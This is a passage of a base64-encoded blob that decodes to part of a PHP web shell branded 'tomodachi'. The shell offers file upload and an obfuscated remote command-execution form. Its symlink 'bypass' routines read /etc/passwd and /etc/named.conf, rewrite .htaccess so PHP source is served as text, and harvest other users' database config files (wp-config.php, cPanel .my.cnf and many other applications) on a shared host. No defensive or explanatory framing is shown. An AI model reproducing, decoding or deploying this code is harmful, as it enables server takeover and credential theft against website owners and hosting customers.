gJy5jZWtkaXIoKS4nIF0NCjxpbnB1dCB0eXBlPSJyYWRpbyIgdmFsdWU9IjIiIG5hbWU9ImRpcm55YSIgPmRvY3VtZW50X3Jvb3QgWyAnLmNla3Jvb3QoKS4nIF0NCjxicj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVwbG9hZCIgdmFsdWU9InVwbG9hZCI+DQo8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iYmVya2FzIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiZXJrYXNueWEiIHZhbHVlPSJVcGxvYWQiIGNsYXNzPSJ1cCIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLWNvbG9yOiAjZmZmIj48YnI+DQo8YnI+NDAzIFVwbG9hZCBGaWxlPGJyPg0KPGlucHV0IHR5cGU9ImZpbGUiIGlkPSJkYXRhbnlhIiBvbmNoYW5nZT0ic2V0ZmlsZW5hbWUodGhpcy52YWx1ZSk7IGxvYWRGaWxlKHRoaXMuZmlsZXNbMF0pIi8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJiZXBhc25hbWEiIGlkPSJuYW1hbnlhIj4NCjx0ZXh0YXJlYSBzdHlsZT0iZGlzcGxheTogbm9uZSIgaWQ9ImJlcGFzZGF0YSIgbmFtZT0iYmVwYXNkYXRhIj48L3RleHRhcmVhPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmVwYXMiIHZhbHVlPSJVcGxvYWQiIGNsYXNzPSJ1cCIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLWNvbG9yOiAjZmZmIj4NCjwvZm9ybT48YnI+PGJyPjwvY2VudGVyPic7DQp9IGVsc2VpZiAoJF9HRVRbJ2tvbWVuZCddID09ICJ0b21vZGFjaGkiKSB7DQogICAgZWNobyAiPGNlbnRlcj4iOw0KICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwna29tZW5kbnlhXCcpLnZhbHVlID0gYnRvYShidG9hKGJ0b2EoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdrb21lbmRueWFcJykudmFsdWUpKSkiPg0KICAgICcuQGdldF9jdXJyZW50X3VzZXIoKS4nQCcuaXBzZXJ2KCkuJzp+ICQgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImtvbWVuZCIgaWQ9ImtvbWVuZG55YSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMxZjFmMWY7IGNvbG9yOiAjZmZmIj4NCiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJla3Nla29tZW5kIiB2YWx1ZT0iID4+ICIgY2xhc3M9InVwIiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyBib3JkZXItY29sb3I6ICNmZmYiPg0KICAgIDwvZm9ybT48YnI+JzsNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydla3Nla29tZW5kJ10pKSB7DQogICAgICAgIGVrc2UoJF9QT1NUWydrb21lbmQnXSwgJGxva2FzaSk7DQogICAgfQ0KICAgIGVjaG8gIjwvY2VudGVyPiI7DQoNCn0gZWxzZWlmICgkX1JFUVVFU1RbJ3N5bWxpbmsnXSA9PSAidG9tb2RhY2hpIikgew0KCWlmICghaXNfZmlsZSgnbmFtZWQudHh0JykpIHsNCiAgICAgICAgJGQwMG0gPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJGQwMG0gPSBAZmlsZSgnbmFtZWQudHh0Jyk7DQogICAgfQ0KICAgIGlmICghJGQwMG0pIHsNCiAgICAgICAgZGllKCI8aHI+PGJyPjxjZW50ZXI+PGEgY2xhc3M9J2J1dHRvbicgaHJlZj0nP3BhdGg9JGxva2FzaSZzeW1yZWFkPXRvbW9kYWNoaSc+QnlwYXNzIFJlYWQ8L2E+IDxhIGNsYXNzPSdidXR0b24nIGhyZWY9Jz9wYXRoPSRsb2thc2kmc3ltXzQwND10b21vZGFjaGknPlN5bWxpbmsgNDA0PC9hPiA8YSBjbGFzcz0nYnV0dG9uJyBocmVmPSc/cGF0aD0kbG9rYXNpJnN5bV9ieXBhcz10b21vZGFjaGknPlN5bWxpbmsgQnlwYXNzPC9hPjxicj48YnIvPjxmb250IGNvbG9yPSdyZWQnPkNhbid0IHJlYWQgICAvZXRjL25hbWVkLmNvbmY8L2ZvbnQ+PGJyLz48YnIvPjwvY2VudGVyPjxicj4iKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICJbIDxhIGhyZWY9Jz9wYXRoPSRkaXImc3ltcmVhZD10b21vZGFjaGknPkJ5cGFzcyBSZWFkPC9hPiBdIFsgPGEgaHJlZj0nP3BhdGg9JGxva2FzaSZzeW1fNDA0PXRvbW9kYWNoaSc+U3ltbGluayA0MDQ8L2E+IF0gWyA8YSBocmVmPSc/cGF0aD0kbG9rYXNpJnN5bV9ieXBhcz10b21vZGFjaGknPlN5bWxpbmsgQnlwYXNzPC9hPiBdPGRpdiBjbGFzcz0ndG1wJz4NCiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzEwMCUnPg0KICAgICAgICAgICAgICAgICAgICA8dGhlYWQgY2xhc3M9J2JnLWluZm8nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoPkRvbWFpbnM8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlVzZXJzPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5zeW1saW5rIDwvdGg+DQogICAgICAgICAgICAgICAgICAgIDwvdGhlYWQ+IjsNCiAgICAgICAgZm9yZWFjaCAoJGQwMG0gYXMgJGRvbSkgew0KICAgICAgICAgICAgaWYgKGVyZWdpKCd6b25lJywgJGRvbSkpIHsNCiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbXN3c1sxXVswXSkpOw0KICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAkc2l0ZSA9ICR1c2VyWyduYW1lJ107DQogICAgICAgICAgICAgICAgICAgIEBzeW1saW5rKCcvJywgJ3N5bS9yb290Jyk7DQogICAgICAgICAgICAgICAgICAgICRzaXRlID0gJGRvbXN3c1sxXVswXTsNCiAgICAgICAgICAgICAgICAgICAgJGlyID0gJ2lyJzsNCiAgICAgICAgICAgICAgICAgICAgJGlsID0gJ2lsJzsNCiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi8uXiRpci8iLCAkZG9tc3dzWzFdWzBdKSBvciBwcmVnX21hdGNoKCIvLl4kaWwvIiwgJGRvbXN3c1sxXVswXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlID0gIi4kZG9tc3dzWzFdWzBdLiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4nLz4nLiRzaXRlLicgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLiR1c2VyWyduYW1lJ10uIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPC90YWJsZT4NCiAgICAgICAgICAgIDwvZGl2Pjxici8+JzsNCiAgICB9DQogICAgZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydzeW1yZWFkJ10gPT0gJ3RvbW9kYWNoaScpIHsNCiAgICBlY2hvICc8Y2VudGVyPnJlYWQgL2V0Yy9uYW1lZC5jb25mJzsNCiAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3BhdGg9JGRpciZzeW1yZWFkPXRvbW9kYWNoaSZzYXZlPTEnPg0KICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHJvd3M9JzE1JyBjb2xzPSc1MCcgbmFtZT0nZmlsZSc+IjsNCiAgICBmbHVzaCgpOw0KICAgIGZsdXNoKCk7DQogICAgJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCiAgICAkcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCiAgICBpZiAoJHIzYWQpIHsNCiAgICAgICAgJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KICAgICAgICBlY2hvICcnLmh0bWxlbnRpdGllcygkY29udGVudCkuJyc7DQogICAgfSBlbHNlaWYgKCEkcjNhZCkgew0KICAgICAgICAkcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7DQogICAgfSBlbHNlaWYgKCEkcjNhZCkgew0KICAgICAgICAkcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7DQogICAgfSBlbHNlaWYgKCEkcjNhZCkgew0KICAgICAgICAkc20gPSBAc3ltbGluaygkZmlsZSwgJ3N5bS50eHQnKTsNCiAgICAgICAgaWYgKCRzbSkgew0KICAgICAgICAgICAgJHIzYWQgPSBAZm9wZW4oJ3N5bS9zeW0udHh0JywgJ3InKTsNCiAgICAgICAgICAgICRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCiAgICAgICAgICAgIGVjaG8gJycuaHRtbGVudGl0aWVzKCRjb250ZW50KS4nJzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J1dHRvbicgdmFsdWU9J1NhdmUnLz4gPC9mb3JtPiI7DQogICAgaWYgKGlzc2V0KCRfR0VUWydzYXZlJ10pKSB7DQogICAgICAgICRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQogICAgICAgICRmID0gZm9wZW4oJ25hbWVkLnR4dCcsICd3Jyk7DQogICAgICAgICR3ID0gZndyaXRlKCRmLCAkY29udCk7DQogICAgICAgIGlmICgkdykgew0KICAgICAgICAgICAgZWNobyAnPGJyLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseTwvY2VudGVyPic7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRmKTsNCiAgICB9DQogICAgZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydzeW1fNDA0J10gPT0gJ3RvbW9kYWNoaScpIHsNCiAgICBlY2hvICc8Y2VudGVyPjxoMj5TeW1saW5rIDQwNDwvaDI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICBGaWxlIFRhcmdldDogPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9ImRpciIgc3R5bGU9IndpZHRoOiAyNTBweDtoZWlnaHQ6IDIwcHg7IiB2YWx1ZT0iL2hvbWUvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCI+PGJyPjxicj4NCiAgICAgICAgICAgIFNhdmUgQXM6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJpc2kiIHN0eWxlPSJ3aWR0aDogMTAwcHg7aGVpZ2h0OiAyMHB4OyIgcGxhY2Vob2xkZXI9ImZpbGUudHh0Ii8+PGJyPjxici8+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0iRXhlY3V0ZSIgbmFtZT0iZXhlY3V0ZSIvPg0KICAgICAgICA8L2Zvcm0+PC9jZW50ZXI+JzsNCiAgICBpZiAoJF9QT1NUWydleGVjdXRlJ10pIHsNCiAgICAgICAgcm1kaXIoJ3RvbW9kYWNoaV9zeW00MDQnKTsNCiAgICAgICAgbWtkaXIoJ3RvbW9kYWNoaV9zeW00MDQnLCAwNzc3KTsNCiAgICAgICAgJGRpciA9ICRfUE9TVFsnZGlyJ107DQogICAgICAgICRpc2kgPSAkX1BPU1RbJ2lzaSddOw0KICAgICAgICBzeXN0ZW0oJ2xuIC1zICcuJGRpci4ndG9tb2RhY2hpX3N5bTQwNC8nLiRpc2kpOw0KICAgICAgICBzeW1saW5rKCRkaXIsICd0b21vZGFjaGlfc3ltNDA0LycuJGlzaSk7DQogICAgICAgICRpbmlqYSA9IGZvcGVuKCd0b21vZGFjaGlfc3ltNDA0Ly5odGFjY2VzcycsICd3Jyk7DQogICAgICAgIGZ3cml0ZSgkaW5pamEsICdSZWFkbWVOYW1lICcuJGlzaS4iXG5PcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IGlkcy5odG1sXG5BZGRUeXBlIHRleHQvcGxhaW4gLnBocFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHBcblNhdGlzZnkgQW55Iik7DQogICAgICAgIGVjaG8nPGEgaHJlZj0iL3RvbW9kYWNoaV9zeW00MDQvIiB0YXJnZXQ9Il9ibGFuayI+ID4+U3Vrc2VzPDwgPC9hPic7DQogICAgfQ0KICAgIGV4aXQ7DQp9DQoNCmlmICgkX0dFVFsnc3ltX2J5cGFzJ10gPT0gJ3RvbW9kYWNoaScpIHsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApIHsNCiAgICAgICAgJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKSB7DQogICAgICAgICAgICAkZiA9IEBmb3BlbigncGFzc3dkLnR4dCcsICd3Jyk7DQogICAgICAgICAgICAkdyA9IEBmd3JpdGUoJGYsICRjb250KTsNCiAgICAgICAgICAgIGZjbG9zZSgkZik7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR3IG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCkgew0KICAgICAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0ndG1wIG1iLTQnPg0KICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzEwMCUnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoZWFkIGNsYXNzPSdiZy1pbmZvIHRleHQtY2VudGVyJz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+VXNlcnM8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5zeW1saW5rPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+RlRQPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGhlYWQ+IjsNCiAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICAkZmlsMyA9IGZpbGUoJ3Bhc3N3ZC50eHQnKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWwzIGFzICRmKSB7DQogICAgICAgICAgICAgICAgJHUgPSBleHBsb2RlKCc6JywgJGYpOw0KICAgICAgICAgICAgICAgICR1c2VyID0gJHVbJzAnXTsNCiAgICAgICAgICAgICAgICBlY2hvICI8dHIgY2xhc3M9J3RleHQtZGFyayc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0ndGV4dC1sZWZ0IHBsLTEnPiR1c2VyPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSckcGFnZUZUUC9zeW0vcm9vdC9ob21lLyR1c2VyL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+RlRQPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+IjsNCiAgICAgICAgICAgICAgICBmbHVzaCgpOw0KICAgICAgICAgICAgICAgIGZsdXNoKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBkaWUoJzwvdHI+PC90YWJsZT48L2Rpdj4nKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGVjaG8gJzxjZW50ZXI+cmVhZCAvZXRjL3Bhc3N3ZCc7DQogICAgZWNobyAiPGJyLz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3BhdGg9JGxva2FzaSZzeW1fYnlwYXM9dG9tb2RhY2hpJnNhdmU9MSc+DQogICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCcgcm93cz0nMTUnIGNvbHM9JzUwJyBuYW1lPSdmaWxlJz4iOw0KICAgIGZsdXNoKCk7DQogICAgJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KICAgICRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KICAgIGlmICgkcjNhZCkgew0KICAgICAgICAkY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQogICAgICAgIGVjaG8gJycuaHRtbGVudGl0aWVzKCRjb250ZW50KS4nJzsNCiAgICB9IGVsc2VpZiAoISRyM2FkKSB7DQogICAgICAgICRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCiAgICB9IGVsc2VpZiAoISRyM2FkKSB7DQogICAgICAgICRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCiAgICB9IGVsc2VpZiAoISRyM2FkKSB7DQogICAgICAgIGZvciAoJHVpZCA9IDA7ICR1aWQgPCAxMDAwOyAkdWlkKyspIHsNCiAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGFyYSkpIHsNCiAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiJHZhbDoiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZmx1c2goKTsNCiAgICBlY2hvICI8L3RleHRhcmVhPjxici8+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0nYnV0dG9uJyB2YWx1ZT0nU3ltbGluaycvPjxici8+DQogICAgICAgIDwvZm9ybT48L2NlbnRlcj4iOw0KICAgIGZsdXNoKCk7DQogICAgZXhpdDsNCg0KfSBlbHNlaWYgKCRfUkVRVUVTVFsnY29uZmlnJ10gPT0gInRvbW9kYWNoaSIpIHsNCgkkZXRjID0gZm9wZW4oJy9ldGMvcGFzc3dkJywgJ3InKSBvciBkaWUoIjxjZW50ZXI+PHByZT48Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD48L3ByZT48L2NlbnRlcj4iKTsNCiAgICAkY29uID0gbWtkaXIoJ3RvbW9kYWNoaV9jb25maWcnLCAwNzc3KTsNCiAgICAkaXNpX2h0YyA9ICJPcHRpb25zIGFsbFxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueSI7DQogICAgJGh0YyA9IGZvcGVuKCd0b21vZGFjaGlfY29uZmlnLy5odGFjY2VzcycsICd3Jyk7DQogICAgZndyaXRlKCRodGMsICRpc2lfaHRjKTsNCiAgICB3aGlsZSAoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQogICAgICAgIGlmICgkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Q2FuJ3QgcmVhZCAvZXRjL3Bhc3N3ZDwvZm9udD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9jb25maWcpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJfY29uZmlnWzFdIGFzICR1c2VyX2Nvbikgew0KICAgICAgICAgICAgICAgICR1c2VyX2NvbmZpZ19kaXIgPSAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sLyI7DQogICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCR1c2VyX2NvbmZpZ19kaXIpKSB7DQogICAgICAgICAgICAgICAgICAgICRncmFiX2NvbmZpZyA9DQogICAgICAgICAgICAgICAgICAgIFsNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vLm15LmNuZiIgPT4gJ2NwYW5lbCcsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCIgPT4gJ0xva29tZWRpYScsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAiID0+ICdwaHBCQicsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiA9PiAnRHJ1cGFsJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICdQcmVzdGFTaG9wJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwiID0+ICdNYWdlbnRvJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCIgPT4gJ09wZW5DYXJ0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gJ0VsbGlzbGFiJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gJ1ZidWxsZXRpbicsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICdWYnVsbGV0aW4nLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAnVmJ1bGxldGluJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvZm9ydW1zL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICdWYnVsbGV0aW4nLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAnVmJ1bGxldGluJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiID0+ICdNeUJCJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gJ09zQ29tbWVyY2UnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICdPc0NvbW1lcmNlJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gJ09zQ29tbWVyY2UnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAnT3NDb21tZXJjZScsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3Byb2R1Y3RzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICdPc0NvbW1lcmNlJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAnT3NDb21tZXJjZScsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2luYy9jb25mX2dsb2JhbC5waHAiID0+ICdJUEInLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIiA9PiAnV29yZHByZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwIiA9PiAnV29yZHByZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIiA9PiAnV29yZHByZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwIiA9PiAnV29yZHByZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAiID0+ICdXb3JkcHJlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAiID0+ICdXb3JkcHJlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwIiA9PiAnV29yZHByZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCIgPT4gJ1dvcmRwcmVzcycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCIgPT4gJ1dvcmRwcmVzcycsDQogICAgICAgICAgICAgICAgICAgICAgICAiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcu